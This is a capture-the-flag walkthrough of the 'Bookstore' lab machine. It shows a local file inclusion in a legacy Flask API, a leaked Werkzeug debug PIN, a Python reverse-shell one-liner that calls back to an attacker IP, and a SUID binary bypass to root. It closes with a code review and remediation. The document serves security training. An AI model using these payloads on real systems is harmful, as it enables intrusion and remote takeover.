Target IP: bookstore.thm (Requires /etc/hosts entry)
Difficulty: Medium
Objective: User (user.txt) & Root (root.txt) Flags
1. Executive Summary
“Bookstore” is a Linux machine hosting a Python Flask web application. Enumeration of the web service (Port 5000) reveals an API documentation endpoint. We discover a Local File Inclusion (LFI) vulnerability in an older API version (v1) by fuzzing parameters. This LFI allows us to read the .bash_history, leaking a hardcoded Werkzeug Debugger PIN. We use this PIN to access the interactive debug console and achieve Remote Code Execution (RCE). Privilege escalation involves reverse engineering a custom SUID binary (try-harder) to identify the correct input required to spawn a root shell.
Key TTPs (MITRE ATT&CK):
- T1190 (Exploit Public-Facing App): Exploiting Werkzeug Debugger.
- T1596 (Search Open Technical Databases): Enumerating API versions via
robots.txt. - T1005 (Data from Local System): LFI to read
.bash_history. - T1548 (Abuse Elevation Control Mechanism): Exploiting SUID binary via logical bypass.
2. Operational Setup
Host Configuration
echo "10.10.x.x bookstore.thm" | sudo tee -a /etc/hostsWorkspace
- Pane 1:
nmap,curl. - Pane 2:
ffuf(Fuzzing). - Pane 3: Shell/Python.
3. Enumeration: “What do we see?”
A. Network Scanning
nmap -sC -sV -oA nmap/bookstore bookstore.thmResults:
- 22/tcp (SSH): OpenSSH 7.6p1.
- 80/tcp (HTTP): Apache 2.4.29 (Static site, “Book Store”).
- 5000/tcp (HTTP): Werkzeug/Flask (Python 3.6.9). This is the main target.
B. Web Enumeration (Port 5000)
Visiting http://bookstore.thm:5000/ shows a generic landing page.
Checking robots.txt reveals the /api endpoint.
API Documentation: The documentation lists endpoints for v2:
/api/v2/resources/books/all/api/v2/resources/books?id=1
Hypothesis:
If v2 exists, does v1 exist?
We check http://bookstore.thm:5000/api/v1/resources/books/all. It works.
Developers often patch vulnerabilities in v2 but leave v1 active and vulnerable for backward compatibility.
C. Fuzzing for LFI
We suspect LFI. The documentation shows parameters like id, author, published. We need to find hidden parameters.
ffuf -u http://bookstore.thm:5000/api/v1/resources/books?FUZZ=.bash_history -w /usr/share/wordlists/dirb/common.txt -fs 0- Match Found:
show
Verification:
curl "http://bookstore.thm:5000/api/v1/resources/books?show=/etc/passwd"Result: We can read files.
4. Initial Access: The Werkzeug Console
A. Leaking Secrets
We check the user’s history for clues.
curl "http://bookstore.thm:5000/api/v1/resources/books?show=.bash_history"Output:
cd /home/sid
whoami
export WERKZEUG_DEBUG_PIN=123-321-135
python3 /home/sid/api.pyCritical Finding: WERKZEUG_DEBUG_PIN=123-321-135.
B. Exploiting the Debugger
Werkzeug (the library powering Flask) has a built-in debugger at /console. Usually, this is locked and requires a PIN that is generated based on machine specific data (MAC address, etc.), or printed to stdout on start. Here, the admin hardcoded it.
- Navigate to
http://bookstore.thm:5000/console. - Click the CLI icon. It prompts for a PIN.
- Enter:
123-321-135. - Access Granted: We now have a Python REPL running on the server.
C. Remote Code Execution
In the browser console, we execute Python to send a reverse shell.
import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.YOUR.IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")Status: Shell as sid.
5. Privilege Escalation: Reverse Engineering
Enumeration
We find a suspicious SUID binary.
find / -perm -u=s -type f 2>/dev/null
# /home/sid/try-harderRunning it:
./try-harder
# Prompts for a number.
# Returns "Incorrect" if wrong.Analysis (The XOR Logic)
You analyzed the binary (likely using Ghidra or just trial and error logic) and found the core validation: The program accepts a number, performs XOR operations with constants, and compares it to a target.
The Logic:
((Input ^ 0x1116) ^ 0x5db3) == 0x5dcd21f4
The Math
Since XOR is reversible (A ^ B = C means C ^ B = A), we can reverse the equation to find the Input.
Solver Script:
python3 -c 'print(0x5dcd21f4 ^ 0x1116 ^ 0x5db3)'Result: 1573743953
Exploitation
./try-harder
# What's The Magic Number?!
1573743953Result: Root shell.
6. Code Review (Why LFI happened)
Looking at the source code you dumped (api.py), here is the vulnerability:
Vulnerability in api_filter (v1):
@app.route('/api/v1/resources/books', methods=['GET'])
def api_filter():
# ...
show = query_parameters.get('show') # <--- Takes user input
# ...
if show:
try:
with open(show, 'r') as f: # <--- Opens it DIRECTLY
return f.read()Fix in api_filterv2 (v2):
The v2 function simply removes the show parameter handling entirely, relying only on SQL queries. This is why fuzzing v2 failed but v1 worked.
7. Remediation (Blue Team)
- Remove Legacy Code: If
v2is the production API,v1code should be removed or strictly firewalled, not left accessible. - Disable Debuggers:
Werkzeugdebugger should never be enabled (debug=True) on production interfaces (0.0.0.0). It allows RCE by design. - Input Validation: The
showparameter allowed absolute paths. Useos.path.basenameor a whitelist of allowed files. - Secrets Management: Never export secrets like PINS in
.bash_historyor environment variables that persist in history. Usehistory -cor valid secrets management vaults.